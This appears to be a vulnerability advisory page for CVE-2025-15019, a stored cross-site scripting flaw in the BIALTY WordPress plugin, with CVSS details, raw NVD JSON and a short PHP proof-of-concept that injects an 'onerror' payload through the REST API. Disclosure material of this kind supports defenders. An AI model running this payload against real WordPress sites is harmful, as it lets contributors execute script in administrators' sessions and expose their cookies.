Security Vulnerability Report
中文
CVE-2025-15019 CVSS 6.4 MEDIUM

CVE-2025-15019

Published: 2026-01-09 07:16:02
Last Modified: 2026-04-15 00:35:42

Description

The BIALTY - Bulk Image Alt Text (Alt tag, Alt Attribute) with Yoast SEO + WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bialty_cs_alt' post meta in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the post editor.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BIALTY - Bulk Image Alt Text plugin <= 2.2.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-15019 PoC - BIALTY Plugin Stored XSS * WordPress Contributor+ privilege required * * This PoC demonstrates the stored XSS via bialty_cs_alt post meta. * When admin accesses the post editor, the XSS payload executes. */ // Method 1: Direct WordPress REST API exploitation $target_url = 'http://target-wordpress-site/wp-json/wp/v2/posts/YOUR_POST_ID'; $xss_payload = '<img src=x onerror=alert(document.cookie)>'; $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Authorization: Bearer YOUR_AUTH_TOKEN' )); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array( 'meta' => array( 'bialty_cs_alt' => $xss_payload ) ))); $response = curl_exec($ch); curl_close($ch); echo "Payload sent. XSS will trigger when admin opens post editor.\n"; // Method 2: SQL injection to insert meta directly (if applicable) // INSERT INTO wp_postmeta (post_id, meta_key, meta_value) // VALUES (POST_ID, 'bialty_cs_alt', '<img src=x onerror=alert(1)>'); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15019", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:02.130", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BIALTY - Bulk Image Alt Text (Alt tag, Alt Attribute) with Yoast SEO + WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bialty_cs_alt' post meta in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the post editor."}, {"lang": "es", "value": "El plugin BIALTY - Bulk Image Alt Text (Etiqueta Alt, Atributo Alt) con Yoast SEO + WooCommerce para WordPress es vulnerable a cross-site scripting almacenado a través del metadato de publicación 'bialty_cs_alt' en todas las versiones hasta la 2.2.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un administrador acceda al editor de publicaciones."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3431985/bulk-image-alt-text-with-yoast/trunk/admin/views/metabox.view.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0af219a7-6596-47b2-ab8e-a71f20218759?source=cve", "source": "[email protected]"}]}}